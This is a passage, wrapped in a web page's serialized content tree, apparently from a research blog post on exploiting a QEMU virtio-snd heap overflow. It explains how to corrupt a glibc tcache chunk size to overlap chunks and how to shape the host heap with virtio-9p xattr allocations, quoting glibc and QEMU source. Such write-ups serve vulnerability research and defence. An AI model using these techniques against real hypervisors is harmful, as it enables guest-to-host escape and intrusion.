mp_",{"type":22,"tag":101,"props":130922,"children":130923},{"style":120},[130924],{"type":27,"value":231},{"type":22,"tag":101,"props":130926,"children":130927},{"style":126},[130928],{"type":27,"value":130929},"tcache_max_bytes",{"type":22,"tag":101,"props":130931,"children":130932},{"style":120},[130933],{"type":27,"value":23703},{"type":22,"tag":101,"props":130935,"children":130936},{"class":103,"line":1215},[130937],{"type":22,"tag":101,"props":130938,"children":130939},{"style":120},[130940],{"type":27,"value":33186},{"type":22,"tag":101,"props":130942,"children":130943},{"class":103,"line":2425},[130944],{"type":22,"tag":101,"props":130945,"children":130946},{"style":120},[130947],{"type":27,"value":130948}," [...]\n",{"type":22,"tag":101,"props":130950,"children":130951},{"class":103,"line":5417},[130952],{"type":22,"tag":101,"props":130953,"children":130954},{"emptyLinePlaceholder":15},[130955],{"type":27,"value":1581},{"type":22,"tag":101,"props":130957,"children":130958},{"class":103,"line":7714},[130959,130963,130968],{"type":22,"tag":101,"props":130960,"children":130961},{"style":3595},[130962],{"type":27,"value":43351},{"type":22,"tag":101,"props":130964,"children":130965},{"style":926},[130966],{"type":27,"value":130967}," tcache_put",{"type":22,"tag":101,"props":130969,"children":130970},{"style":120},[130971],{"type":27,"value":130972}," (p, tc_idx);\n",{"type":22,"tag":101,"props":130974,"children":130975},{"class":103,"line":7723},[130976],{"type":22,"tag":101,"props":130977,"children":130978},{"style":120},[130979],{"type":27,"value":1734},{"type":22,"tag":23,"props":130981,"children":130982},{},[130983,130985,130990],{"type":27,"value":130984},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":22,"tag":30,"props":130986,"children":130988},{"className":130987},[],[130989],{"type":27,"value":127767},{"type":27,"value":130991}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":22,"tag":23,"props":130993,"children":130994},{},[130995,130997,131003,131004,131009],{"type":27,"value":130996},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":22,"tag":30,"props":130998,"children":131000},{"className":130999},[],[131001],{"type":27,"value":131002},"check_inuse_chunk",{"type":27,"value":3603},{"type":22,"tag":30,"props":131005,"children":131007},{"className":131006},[],[131008],{"type":27,"value":127895},{"type":27,"value":27944},{"type":22,"tag":91,"props":131011,"children":131013},{"code":131012,"language":7187,"meta":7,"className":20513,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[131014],{"type":22,"tag":30,"props":131015,"children":131016},{"__ignoreMap":7},[131017,131024,131051,131058,131065,131072,131091,131098,131117,131124,131151,131174,131181,131207,131214,131225,131282],{"type":22,"tag":101,"props":131018,"children":131019},{"class":103,"line":104},[131020],{"type":22,"tag":101,"props":131021,"children":131022},{"style":108},[131023],{"type":27,"value":130718},{"type":22,"tag":101,"props":131025,"children":131026},{"class":103,"line":157},[131027,131031,131035,131039,131043,131047],{"type":22,"tag":101,"props":131028,"children":131029},{"style":926},[131030],{"type":27,"value":129984},{"type":22,"tag":101,"props":131032,"children":131033},{"style":120},[131034],{"type":27,"value":3603},{"type":22,"tag":101,"props":131036,"children":131037},{"style":108},[131038],{"type":27,"value":55623},{"type":22,"tag":101,"props":131040,"children":131041},{"style":166},[131042],{"type":27,"value":13822},{"type":22,"tag":101,"props":131044,"children":131045},{"style":126},[131046],{"type":27,"value":44659},{"type":22,"tag":101,"props":131048,"children":131049},{"style":120},[131050],{"type":27,"value":2510},{"type":22,"tag":101,"props":131052,"children":131053},{"class":103,"line":182},[131054],{"type":22,"tag":101,"props":131055,"children":131056},{"style":120},[131057],{"type":27,"value":14886},{"type":22,"tag":101,"props":131059,"children":131060},{"class":103,"line":367},[131061],{"type":22,"tag":101,"props":131062,"children":131063},{"style":120},[131064],{"type":27,"value":130027},{"type":22,"tag":101,"props":131066,"children":131067},{"class":103,"line":398},[131068],{"type":22,"tag":101,"props":131069,"children":131070},{"emptyLinePlaceholder":15},[131071],{"type":27,"value":1581},{"type":22,"tag":101,"props":131073,"children":131074},{"class":103,"line":428},[131075,131079,131083,131087],{"type":22,"tag":101,"props":131076,"children":131077},{"style":120},[131078],{"type":27,"value":130042},{"type":22,"tag":101,"props":131080,"children":131081},{"style":166},[131082],{"type":27,"value":1511},{"type":22,"tag":101,"props":131084,"children":131085},{"style":926},[131086],{"type":27,"value":130051},{"type":22,"tag":101,"props":131088,"children":131089},{"style":120},[131090],{"type":27,"value":130056},{"type":22,"tag":101,"props":131092,"children":131093},{"class":103,"line":997},[131094],{"type":22,"tag":101,"props":131095,"children":131096},{"emptyLinePlaceholder":15},[131097],{"type":27,"value":1581},{"type":22,"tag":101,"props":131099,"children":131100},{"class":103,"line":1032},[131101,131105,131109,131113],{"type":22,"tag":101,"props":131102,"children":131103},{"style":120},[131104],{"type":27,"value":130800},{"type":22,"tag":101,"props":131106,"children":131107},{"style":166},[131108],{"type":27,"value":1511},{"type":22,"tag":101,"props":131110,"children":131111},{"style":926},[131112],{"type":27,"value":130378},{"type":22,"tag":101,"props":131114,"children":131115},{"style":120},[131116],{"type":27,"value":130097},{"type":22,"tag":101,"props":131118,"children":131119},{"class":103,"line":1063},[131120],{"type":22,"tag":101,"props":131121,"children":131122},{"emptyLinePlaceholder":15},[131123],{"type":27,"value":1581},{"type":22,"tag":101,"props":131125,"children":131126},{"class":103,"line":1071},[131127,131131,131135,131139,131143,131147],{"type":22,"tag":101,"props":131128,"children":131129},{"style":3595},[131130],{"type":27,"value":35390},{"type":22,"tag":101,"props":131132,"children":131133},{"style":120},[131134],{"type":27,"value":3603},{"type":22,"tag":101,"props":131136,"children":131137},{"style":926},[131138],{"type":27,"value":130573},{"type":22,"tag":101,"props":131140,"children":131141},{"style":120},[131142],{"type":27,"value":3603},{"type":22,"tag":101,"props":131144,"children":131145},{"style":926},[131146],{"type":27,"value":130507},{"type":22,"tag":101,"props":131148,"children":131149},{"style":120},[131150],{"type":27,"value":130847},{"type":22,"tag":101,"props":131152,"children":131153},{"class":103,"line":1110},[131154,131158,131162,131166,131170],{"type":22,"tag":101,"props":131155,"children":131156},{"style":3595},[131157],{"type":27,"value":20986},{"type":22,"tag":101,"props":131159,"children":131160},{"style":926},[131161],{"type":27,"value":130859},{"type":22,"tag":101,"props":131163,"children":131164},{"style":120},[131165],{"type":27,"value":3603},{"type":22,"tag":101,"props":131167,"children":131168},{"style":6476},[131169],{"type":27,"value":130537},{"type":22,"tag":101,"props":131171,"children":131172},{"style":120},[131173],{"type":27,"value":994},{"type":22,"tag":101,"props":131175,"children":131176},{"class":103,"line":1118},[131177],{"type":22,"tag":101,"props":131178,"children":131179},{"emptyLinePlaceholder":15},[131180],{"type":27,"value":1581},{"type":22,"tag":101,"props":131182,"children":131183},{"class":103,"line":1158},[131184,131188,131192,131197,131202],{"type":22,"tag":101,"props":131185,"children":131186},{"style":926},[131187],{"type":27,"value":130640},{"type":22,"tag":101,"props":131189,"children":131190},{"style":120},[131191],{"type":27,"value":3603},{"type":22,"tag":101,"props":131193,"children":131194},{"style":926},[131195],{"type":27,"value":131196},"arena_for_chunk",{"type":22,"tag":101,"props":131198,"children":131199},{"style":120},[131200],{"type":27,"value":131201}," (p), p);",{"type":22,"tag":101,"props":131203,"children":131204},{"style":2215},[131205],{"type":27,"value":131206}," // [1]\n",{"type":22,"tag":101,"props":131208,"children":131209},{"class":103,"line":1166},[131210],{"type":22,"tag":101,"props":131211,"children":131212},{"emptyLinePlaceholder":15},[131213],{"type":27,"value":1581},{"type":22,"tag":101,"props":131215,"children":131216},{"class":103,"line":1215},[131217,131221],{"type":22,"tag":101,"props":131218,"children":131219},{"style":3595},[131220],{"type":27,"value":130886},{"type":22,"tag":101,"props":131222,"children":131223},{"style":926},[131224],{"type":27,"value":130891},{"type":22,"tag":101,"props":131226,"children":131227},{"class":103,"line":2425},[131228,131232,131236,131240,131244,131248,131252,131256,131260,131264,131269,131273,131278],{"type":22,"tag":101,"props":131229,"children":131230},{"style":3595},[131231],{"type":27,"value":35390},{"type":22,"tag":101,"props":131233,"children":131234},{"style":120},[131235],{"type":27,"value":3603},{"type":22,"tag":101,"props":131237,"children":131238},{"style":926},[131239],{"type":27,"value":130907},{"type":22,"tag":101,"props":131241,"children":131242},{"style":120},[131243],{"type":27,"value":130578},{"type":22,"tag":101,"props":131245,"children":131246},{"style":166},[131247],{"type":27,"value":123},{"type":22,"tag":101,"props":131249,"children":131250},{"style":126},[131251],{"type":27,"value":130920},{"type":22,"tag":101,"props":131253,"children":131254},{"style":120},[131255],{"type":27,"value":231},{"type":22,"tag":101,"props":131257,"children":131258},{"style":126},[131259],{"type":27,"value":130929},{"type":22,"tag":101,"props":131261,"children":131262},{"style":166},[131263],{"type":27,"value":18187},{"type":22,"tag":101,"props":131265,"children":131266},{"style":120},[131267],{"type":27,"value":131268}," tcache ",{"type":22,"tag":101,"props":131270,"children":131271},{"style":166},[131272],{"type":27,"value":19686},{"type":22,"tag":101,"props":131274,"children":131275},{"style":108},[131276],{"type":27,"value":131277}," NULL",{"type":22,"tag":101,"props":131279,"children":131280},{"style":120},[131281],{"type":27,"value":23703},{"type":22,"tag":101,"props":131283,"children":131284},{"class":103,"line":5417},[131285],{"type":22,"tag":101,"props":131286,"children":131287},{"style":120},[131288],{"type":27,"value":130660},{"type":22,"tag":23,"props":131290,"children":131291},{},[131292,131294,131299],{"type":27,"value":131293},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":22,"tag":30,"props":131295,"children":131297},{"className":131296},[],[131298],{"type":27,"value":127767},{"type":27,"value":131300},", because on the latest 2.43 glibc they are non-existent.",{"type":22,"tag":1398,"props":131302,"children":131303},{},[],{"type":22,"tag":23,"props":131305,"children":131306},{},[131307,131309,131314,131316,131322,131324,131329,131331,131337],{"type":27,"value":131308},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":22,"tag":30,"props":131310,"children":131312},{"className":131311},[],[131313],{"type":27,"value":127767},{"type":27,"value":131315}," field was initially ",{"type":22,"tag":30,"props":131317,"children":131319},{"className":131318},[],[131320],{"type":27,"value":131321},"0x200",{"type":27,"value":131323},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":22,"tag":30,"props":131325,"children":131327},{"className":131326},[],[131328],{"type":27,"value":129944},{"type":27,"value":131330},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":22,"tag":30,"props":131332,"children":131334},{"className":131333},[],[131335],{"type":27,"value":131336},"[0x210, 0x2f0]",{"type":27,"value":131338},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":22,"tag":23,"props":131340,"children":131341},{},[131342],{"type":27,"value":131343},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":22,"tag":1760,"props":131345,"children":131347},{"id":131346},"heap-spraying",[131348],{"type":27,"value":131349},"Heap Spraying",{"type":22,"tag":23,"props":131351,"children":131352},{},[131353,131355,131360],{"type":27,"value":131354},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":22,"tag":30,"props":131356,"children":131358},{"className":131357},[],[131359],{"type":27,"value":131321},{"type":27,"value":131361},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":22,"tag":23,"props":131363,"children":131364},{},[131365,131367,131372],{"type":27,"value":131366},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":22,"tag":30,"props":131368,"children":131370},{"className":131369},[],[131371],{"type":27,"value":127962},{"type":27,"value":131373}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":22,"tag":23,"props":131375,"children":131376},{},[131377],{"type":27,"value":131378},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":22,"tag":22883,"props":131380,"children":131382},{"id":131381},"virtio-9p",[131383],{"type":27,"value":131381},{"type":22,"tag":23,"props":131385,"children":131386},{},[131387,131392],{"type":22,"tag":30,"props":131388,"children":131390},{"className":131389},[],[131391],{"type":27,"value":131381},{"type":27,"value":131393}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":22,"tag":23,"props":131395,"children":131396},{},[131397,131399,131405,131407,131413,131414,131420,131422,131427],{"type":27,"value":131398},"Through a ",{"type":22,"tag":30,"props":131400,"children":131402},{"className":131401},[],[131403],{"type":27,"value":131404},"P9_TXATTRCREATE",{"type":27,"value":131406}," request, we can allocate host-side buffers for both the ",{"type":22,"tag":30,"props":131408,"children":131410},{"className":131409},[],[131411],{"type":27,"value":131412},".name",{"type":27,"value":209},{"type":22,"tag":30,"props":131415,"children":131417},{"className":131416},[],[131418],{"type":27,"value":131419},".value",{"type":27,"value":131421}," fields, with the size of ",{"type":22,"tag":30,"props":131423,"children":131425},{"className":131424},[],[131426],{"type":27,"value":131419},{"type":27,"value":131428}," being directly controlled by the guest.",{"type":22,"tag":91,"props":131430,"children":131432},{"code":131431,"language":7187,"meta":7,"className":20513,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[131433],{"type":22,"tag":30,"props":131434,"children":131435},{"__ignoreMap":7},[131436,131478,131485,131509,131522,131533,131558,131566,131591,131608,131624,131650,131657,131678,131744,131768,131781,131788,131795,131802,131809,131829,131850,131861,131868,131875,131882,131889,131938,131994,132039],{"type":22,"tag":101,"props":131437,"children":131438},{"class":103,"line":104},[131439,131443,131447,131452,131457,131461,131465,131469,131474],{"type":22,"tag":101,"props":131440,"children":131441},{"style":108},[131442],{"type":27,"value":55040},{"type":22,"tag":101,"props":131444,"children":131445},{"style":108},[131446],{"type":27,"value":55045},{"type":22,"tag":101,"props":131448,"children":131449},{"style":120},[131450],{"type":27,"value":131451}," coroutine_fn ",{"type":22,"tag":101,"props":131453,"children":131454},{"style":926},[131455],{"type":27,"value":131456},"v9fs_xattrcreate",{"type":22,"tag":101,"props":131458,"children":131459},{"style":120},[131460],{"type":27,"value":980},{"type":22,"tag":101,"props":131462,"children":131463},{"style":108},[131464],{"type":27,"value":55623},{"type":22,"tag":101,"props":131466,"children":131467},{"style":166},[131468],{"type":27,"value":13822},{"type":22,"tag":101,"props":131470,"children":131471},{"style":126},[131472],{"type":27,"value":131473},"opaque",{"type":22,"tag":101,"props":131475,"children":131476},{"style":120},[131477],{"type":27,"value":2510},{"type":22,"tag":101,"props":131479,"children":131480},{"class":103,"line":157},[131481],{"type":22,"tag":101,"props":131482,"children":131483},{"style":120},[131484],{"type":27,"value":14886},{"type":22,"tag":101,"props":131486,"children":131487},{"class":103,"line":182},[131488,131492,131497,131501,131505],{"type":22,"tag":101,"props":131489,"children":131490},{"style":108},[131491],{"type":27,"value":23067},{"type":22,"tag":101,"props":131493,"children":131494},{"style":120},[131495],{"type":27,"value":131496}," flags, rflags ",{"type":22,"tag":101,"props":131498,"children":131499},{"style":166},[131500],{"type":27,"value":1511},{"type":22,"tag":101,"props":131502,"children":131503},{"style":1544},[131504],{"type":27,"value":1547},{"type":22,"tag":101,"props":131506,"children":131507},{"style":120},[131508],{"type":27,"value":1520},{"type":22,"tag":101,"props":131510,"children":131511},{"class":103,"line":367},[131512,131517],{"type":22,"tag":101,"props":131513,"children":131514},{"style":108},[131515],{"type":27,"value":131516}," int32_t",{"type":22,"tag":101,"props":131518,"children":131519},{"style":120},[131520],{"type":27,"value":131521}," fid;\n",{"type":22,"tag":101,"props":131523,"children":131524},{"class":103,"line":398},[131525,131529],{"type":22,"tag":101,"props":131526,"children":131527},{"style":108},[131528],{"type":27,"value":59609},{"type":22,"tag":101,"props":131530,"children":131531},{"style":120},[131532],{"type":27,"value":128109},{"type":22,"tag":101,"props":131534,"children":131535},{"class":103,"line":428},[131536,131541,131546,131550,131554],{"type":22,"tag":101,"props":131537,"children":131538},{"style":108},[131539],{"type":27,"value":131540}," ssize_t",{"type":22,"tag":101,"props":131542,"children":131543},{"style":120},[131544],{"type":27,"value":131545}," err ",{"type":22,"tag":101,"props":131547,"children":131548},{"style":166},[131549],{"type":27,"value":1511},{"type":22,"tag":101,"props":131551,"children":131552},{"style":1544},[131553],{"type":27,"value":1547},{"type":22,"tag":101,"props":131555,"children":131556},{"style":120},[131557],{"type":27,"value":1520},{"type":22,"tag":101,"props":131559,"children":131560},{"class":103,"line":997},[131561],{"type":22,"tag":101,"props":131562,"children":131563},{"style":120},[131564],{"type":27,"value":131565}," V9fsString name;\n",{"type":22,"tag":101,"props":131567,"children":131568},{"class":103,"line":1032},[131569,131573,131578,131582,131587],{"type":22,"tag":101,"props":131570,"children":131571},{"style":108},[131572],{"type":27,"value":20563},{"type":22,"tag":101,"props":131574,"children":131575},{"style":120},[131576],{"type":27,"value":131577}," offset ",{"type":22,"tag":101,"props":131579,"children":131580},{"style":166},[131581],{"type":27,"value":1511},{"type":22,"tag":101,"props":131583,"children":131584},{"style":1544},[131585],{"type":27,"value":131586}," 7",{"type":22,"tag":101,"props":131588,"children":131589},{"style":120},[131590],{"type":27,"value":1520},{"type":22,"tag":101,"props":131592,"children":131593},{"class":103,"line":1063},[131594,131599,131603],{"type":22,"tag":101,"props":131595,"children":131596},{"style":120},[131597],{"type":27,"value":131598}," V9fsFidState ",{"type":22,"tag":101,"props":131600,"children":131601},{"style":166},[131602],{"type":27,"value":8615},{"type":22,"tag":101,"props":131604,"children":131605},{"style":120},[131606],{"type":27,"value":131607},"file_fidp;\n",{"type":22,"tag":101,"props":131609,"children":131610},{"class":103,"line":1071},[131611,131615,131619],{"type":22,"tag":101,"props":131612,"children":131613},{"style":120},[131614],{"type":27,"value":131598},{"type":22,"tag":101,"props":131616,"children":131617},{"style":166},[131618],{"type":27,"value":8615},{"type":22,"tag":101,"props":131620,"children":131621},{"style":120},[131622],{"type":27,"value":131623},"xattr_fidp;\n",{"type":22,"tag":101,"props":131625,"children":131626},{"class":103,"line":1110},[131627,131632,131636,131641,131645],{"type":22,"tag":101,"props":131628,"children":131629},{"style":120},[131630],{"type":27,"value":131631}," V9fsPDU ",{"type":22,"tag":101,"props":131633,"children":131634},{"style":166},[131635],{"type":27,"value":8615},{"type":22,"tag":101,"props":131637,"children":131638},{"style":120},[131639],{"type":27,"value":131640},"pdu ",{"type":22,"tag":101,"props":131642,"children":131643},{"style":166},[131644],{"type":27,"value":1511},{"type":22,"tag":101,"props":131646,"children":131647},{"style":120},[131648],{"type":27,"value":131649}," opaque;\n",{"type":22,"tag":101,"props":131651,"children":131652},{"class":103,"line":1118},[131653],{"type":22,"tag":101,"props":131654,"children":131655},{"emptyLinePlaceholder":15},[131656],{"type":27,"value":1581},{"type":22,"tag":101,"props":131658,"children":131659},{"class":103,"line":1158},[131660,131665,131669,131673],{"type":22,"tag":101,"props":131661,"children":131662},{"style":926},[131663],{"type":27,"value":131664}," v9fs_string_init",{"type":22,"tag":101,"props":131666,"children":131667},{"style":120},[131668],{"type":27,"value":980},{"type":22,"tag":101,"props":131670,"children":131671},{"style":166},[131672],{"type":27,"value":985},{"type":22,"tag":101,"props":131674,"children":131675},{"style":120},[131676],{"type":27,"value":131677},"name);\n",{"type":22,"tag":101,"props":131679,"children":131680},{"class":103,"line":1166},[131681,131686,131690,131695,131700,131705,131709,131713,131718,131722,131727,131731,131735,131739],{"type":22,"tag":101,"props":131682,"children":131683},{"style":120},[131684],{"type":27,"value":131685}," err ",{"type":22,"tag":101,"props":131687,"children":131688},{"style":166},[131689],{"type":27,"value":1511},{"type":22,"tag":101,"props":131691,"children":131692},{"style":926},[131693],{"type":27,"value":131694}," pdu_unmarshal",{"type":22,"tag":101,"props":131696,"children":131697},{"style":120},[131698],{"type":27,"value":131699},"(pdu, offset, ",{"type":22,"tag":101,"props":131701,"children":131702},{"style":6476},[131703],{"type":27,"value":131704},"\"dsqd\"",{"type":22,"tag":101,"props":131706,"children":131707},{"style":120},[131708],{"type":27,"value":758},{"type":22,"tag":101,"props":131710,"children":131711},{"style":166},[131712],{"type":27,"value":985},{"type":22,"tag":101,"props":131714,"children":131715},{"style":120},[131716],{"type":27,"value":131717},"fid, ",{"type":22,"tag":101,"props":131719,"children":131720},{"style":166},[131721],{"type":27,"value":985},{"type":22,"tag":101,"props":131723,"children":131724},{"style":120},[131725],{"type":27,"value":131726},"name, ",{"type":22,"tag":101,"props":131728,"children":131729},{"style":166},[131730],{"type":27,"value":985},{"type":22,"tag":101,"props":131732,"children":131733},{"style":120},[131734],{"type":27,"value":130477},{"type":22,"tag":101,"props":131736,"children":131737},{"style":166},[131738],{"type":27,"value":985},{"type":22,"tag":101,"props":131740,"children":131741},{"style":120},[131742],{"type":27,"value":131743},"flags);\n",{"type":22,"tag":101,"props":131745,"children":131746},{"class":103,"line":1215},[131747,131751,131756,131760,131764],{"type":22,"tag":101,"props":131748,"children":131749},{"style":3595},[131750],{"type":27,"value":16283},{"type":22,"tag":101,"props":131752,"children":131753},{"style":120},[131754],{"type":27,"value":131755}," (err ",{"type":22,"tag":101,"props":131757,"children":131758},{"style":166},[131759],{"type":27,"value":123},{"type":22,"tag":101,"props":131761,"children":131762},{"style":1544},[131763],{"type":27,"value":1547},{"type":22,"tag":101,"props":131765,"children":131766},{"style":120},[131767],{"type":27,"value":1463},{"type":22,"tag":101,"props":131769,"children":131770},{"class":103,"line":2425},[131771,131776],{"type":22,"tag":101,"props":131772,"children":131773},{"style":3595},[131774],{"type":27,"value":131775}," goto",{"type":22,"tag":101,"props":131777,"children":131778},{"style":120},[131779],{"type":27,"value":131780}," out_nofid;\n",{"type":22,"tag":101,"props":131782,"children":131783},{"class":103,"line":5417},[131784],{"type":22,"tag":101,"props":131785,"children":131786},{"style":120},[131787],{"type":27,"value":1734},{"type":22,"tag":101,"props":131789,"children":131790},{"class":103,"line":7714},[131791],{"type":22,"tag":101,"props":131792,"children":131793},{"emptyLinePlaceholder":15},[131794],{"type":27,"value":1581},{"type":22,"tag":101,"props":131796,"children":131797},{"class":103,"line":7723},[131798],{"type":22,"tag":101,"props":131799,"children":131800},{"style":120},[131801],{"type":27,"value":108308},{"type":22,"tag":101,"props":131803,"children":131804},{"class":103,"line":7791},[131805],{"type":22,"tag":101,"props":131806,"children":131807},{"emptyLinePlaceholder":15},[131808],{"type":27,"value":1581},{"type":22,"tag":101,"props":131810,"children":131811},{"class":103,"line":7799},[131812,131816,131820,131824],{"type":22,"tag":101,"props":131813,"children":131814},{"style":3595},[131815],{"type":27,"value":16283},{"type":22,"tag":101,"props":131817,"children":131818},{"style":120},[131819],{"type":27,"value":130578},{"type":22,"tag":101,"props":131821,"children":131822},{"style":166},[131823],{"type":27,"value":14467},{"type":22,"tag":101,"props":131825,"children":131826},{"style":120},[131827],{"type":27,"value":131828}," P9_XATTR_SIZE_MAX) {\n",{"type":22,"tag":101,"props":131830,"children":131831},{"class":103,"line":7829},[131832,131837,131841,131845],{"type":22,"tag":101,"props":131833,"children":131834},{"style":120},[131835],{"type":27,"value":131836}," err ",{"type":22,"tag":101,"props":131838,"children":131839},{"style":166},[131840],{"type":27,"value":1511},{"type":22,"tag":101,"props":131842,"children":131843},{"style":166},[131844],{"type":27,"value":55251},{"type":22,"tag":101,"props":131846,"children":131847},{"style":120},[131848],{"type":27,"value":131849},"E2BIG;\n",{"type":22,"tag":101,"props":131851,"children":131852},{"class":103,"line":7837},[131853,131857],{"type":22,"tag":101,"props":131854,"children":131855},{"style":3595},[131856],{"type":27,"value":131775},{"type":22,"tag":101,"props":131858,"children":131859},{"style":120},[131860],{"type":27,"value":131780},{"type":22,"tag":101,"props":131862,"children":131863},{"class":103,"line":7868},[131864],{"type":22,"tag":101,"props":131865,"children":131866},{"style":120},[131867],{"type":27,"value":1734},{"type":22,"tag":101,"props":131869,"children":131870},{"class":103,"line":7876},[131871],{"type":22,"tag":101,"props":131872,"children":131873},{"emptyLinePlaceholder":15},[131874],{"type":27,"value":1581},{"type":22,"tag":101,"props":131876,"children":131877},{"class":103,"line":7936},[131878],{"type":22,"tag":101,"props":131879,"children":131880},{"style":120},[131881],{"type":27,"value":108308},{"type":22,"tag":101,"props":131883,"children":131884},{"class":103,"line":13054},[131885],{"type":22,"tag":101,"props":131886,"children":131887},{"emptyLinePlaceholder":15},[131888],{"type":27,"value":1581},{"type":22,"tag":101,"props":131890,"children":131891},{"class":103,"line":13072},[131892,131896,131900,131904,131909,131913,131917,131921,131926,131930,131934],{"type":22,"tag":101,"props":131893,"children":131894},{"style":926},[131895],{"type":27,"value":131664},{"type":22,"tag":101,"props":131897,"children":131898},{"style":120},[131899],{"type":27,"value":980},{"type":22,"tag":101,"props":131901,"children":131902},{"style":166},[131903],{"type":27,"value":985},{"type":22,"tag":101,"props":131905,"children":131906},{"style":126},[131907],{"type":27,"value":131908},"xattr_fidp",{"type":22,"tag":101,"props":131910,"children":131911},{"style":120},[131912],{"type":27,"value":17759},{"type":22,"tag":101,"props":131914,"children":131915},{"style":126},[131916],{"type":27,"value":40978},{"type":22,"tag":101,"props":131918,"children":131919},{"style":120},[131920],{"type":27,"value":231},{"type":22,"tag":101,"props":131922,"children":131923},{"style":126},[131924],{"type":27,"value":131925},"xattr",{"type":22,"tag":101,"props":131927,"children":131928},{"style":120},[131929],{"type":27,"value":231},{"type":22,"tag":101,"props":131931,"children":131932},{"style":126},[131933],{"type":27,"value":52495},{"type":22,"tag":101,"props":131935,"children":131936},{"style":120},[131937],{"type":27,"value":994},{"type":22,"tag":101,"props":131939,"children":131940},{"class":103,"line":13117},[131941,131946,131950,131954,131958,131962,131966,131970,131974,131978,131982,131986,131990],{"type":22,"tag":101,"props":131942,"children":131943},{"style":926},[131944],{"type":27,"value":131945}," v9fs_string_copy",{"type":22,"tag":101,"props":131947,"children":131948},{"style":120},[131949],{"type":27,"value":980},{"type":22,"tag":101,"props":131951,"children":131952},{"style":166},[131953],{"type":27,"value":985},{"type":22,"tag":101,"props":131955,"children":131956},{"style":126},[131957],{"type":27,"value":131908},{"type":22,"tag":101,"props":131959,"children":131960},{"style":120},[131961],{"type":27,"value":17759},{"type":22,"tag":101,"props":131963,"children":131964},{"style":126},[131965],{"type":27,"value":40978},{"type":22,"tag":101,"props":131967,"children":131968},{"style":120},[131969],{"type":27,"value":231},{"type":22,"tag":101,"props":131971,"children":131972},{"style":126},[131973],{"type":27,"value":131925},{"type":22,"tag":101,"props":131975,"children":131976},{"style":120},[131977],{"type":27,"value":231},{"type":22,"tag":101,"props":131979,"children":131980},{"style":126},[131981],{"type":27,"value":52495},{"type":22,"tag":101,"props":131983,"children":131984},{"style":120},[131985],{"type":27,"value":758},{"type":22,"tag":101,"props":131987,"children":131988},{"style":166},[131989],{"type":27,"value":985},{"type":22,"tag":101,"props":131991,"children":131992},{"style":120},[131993],{"type":27,"value":131677},{"type":22,"tag":101,"props":131995,"children":131996},{"class":103,"line":13223},[131997,132002,132006,132010,132014,132018,132022,132026,132030,132034],{"type":22,"tag":101,"props":131998,"children":131999},{"style":126},[132000],{"type":27,"value":132001}," xattr_fidp",{"type":22,"tag":101,"props":132003,"children":132004},{"style":120},[132005],{"type":27,"value":17759},{"type":22,"tag":101,"props":132007,"children":132008},{"style":126},[132009],{"type":27,"value":40978},{"type":22,"tag":101,"props":132011,"children":132012},{"style":120},[132013],{"type":27,"value":231},{"type":22,"tag":101,"props":132015,"children":132016},{"style":126},[132017],{"type":27,"value":131925},{"type":22,"tag":101,"props":132019,"children":132020},{"style":120},[132021],{"type":27,"value":231},{"type":22,"tag":101,"props":132023,"children":132024},{"style":126},[132025],{"type":27,"value":43146},{"type":22,"tag":101,"props":132027,"children":132028},{"style":166},[132029],{"type":27,"value":960},{"type":22,"tag":101,"props":132031,"children":132032},{"style":926},[132033],{"type":27,"value":127680},{"type":22,"tag":101,"props":132035,"children":132036},{"style":120},[132037],{"type":27,"value":132038},"(size);\n",{"type":22,"tag":101,"props":132040,"children":132041},{"class":103,"line":27496},[132042],{"type":22,"tag":101,"props":132043,"children":132044},{"style":120},[132045],{"type":27,"value":188},{"type":22,"tag":23,"props":132047,"children":132048},{},[132049,132051,132056,132058,132063,132064,132069,132071,132076],{"type":27,"value":132050},"Because the ",{"type":22,"tag":30,"props":132052,"children":132054},{"className":132053},[],[132055],{"type":27,"value":131412},{"type":27,"value":132057}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both 